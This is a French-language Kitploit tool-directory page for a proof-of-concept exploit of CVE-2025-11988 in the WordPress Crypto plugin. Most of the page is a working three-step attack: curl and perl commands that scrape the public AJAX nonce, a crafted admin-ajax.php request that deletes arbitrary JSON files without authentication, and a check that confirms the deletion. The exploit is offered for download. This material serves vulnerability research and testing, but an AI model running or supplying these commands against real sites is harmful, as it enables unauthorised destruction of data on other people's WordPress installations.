Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-11988 — Exploit de preuve de concept pour CVE-2025-11988, démontrant la suppression non authentifiée de fichiers JSON arbitraires dans le plugin WordPress Crypto via des requêtes AJAX malveillantes. | Kitploit
Outils/GitHubGitHub/jfriedli/cve-2025-11988
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'Intrusion
GitHubjfriedli/cve-2025-11988

CVE-2025-11988

Exploit de preuve de concept pour CVE-2025-11988, démontrant la suppression non authentifiée de fichiers JSON arbitraires dans le plugin WordPress Crypto via des requêtes AJAX malveillantes.

Voir le dépôt
il y a 5 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

1) Extraire le nonce public crypto_ajax

root@kitploit:~
UA='Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0'
PAGE_URL='http://localhost/wordpress/<ANY_PAGE>/'

NONCE=$(curl -s "$PAGE_URL" -A "$UA" | \
  perl -0777 -ne 'print "$1\n" if /crypto_connectChainAjax\s*=\s*\{[^}]*"nonce"\s*:\s*"([^"]+)"/s')

# Fallback extraction
[ -z "$NONCE" ] && NONCE=$(curl -s "$PAGE_URL" -A "$UA" | \
  perl -ne "print \"$1\n\" if /create_link_crypto_connect_login\\(\\s*'([A-Za-z0-9_-]+)'/i")

echo "Nonce: $NONCE"

2) Supprimer un fichier JSON arbitraire (non authentifié)

root@kitploit:~
curl -s "http://localhost/wordpress/wp-admin/admin-ajax.php" -A "$UA" \
  --data "action=crypto_connect_ajax_process&method_name=crypto_delete_json&id=1&nonce=${NONCE}&param1=order123"

correspond au préfixe du nom de fichier (ex : → )

param1
order123
order123_pending.json

3) Vérifier la suppression

root@kitploit:~
if [ -e "$BASEDIR/yak/order123_pending.json" ]; then
  echo "[-] File still exists"
else
  echo "[+] Deleted successfully"
fi
Télécharger l’outil